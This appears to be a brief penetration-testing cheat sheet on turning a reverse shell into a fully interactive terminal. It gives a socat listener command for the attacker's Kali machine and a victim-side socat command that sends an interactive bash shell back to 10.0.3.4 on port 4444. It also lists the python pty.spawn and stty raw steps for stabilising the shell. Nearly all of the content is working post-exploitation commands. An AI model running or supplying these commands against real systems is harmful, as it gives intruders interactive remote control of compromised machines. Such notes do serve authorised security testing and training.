Last updated 2 years ago
On Kali (listen):
On Victim (launch):
Using stty options
python -c 'import pty; pty.spawn("/bin/bash")'
socat file:`tty`,raw,echo=0 tcp-listen:4444
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
1 2 3 4 5 6 7 8 9 10 11 12 13
# In reverse shell $ python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z # In Kali $ stty raw -echo $ fg # In reverse shell $ reset $ export SHELL=bash $ export TERM=xterm-256color $ stty rows <num> columns <cols>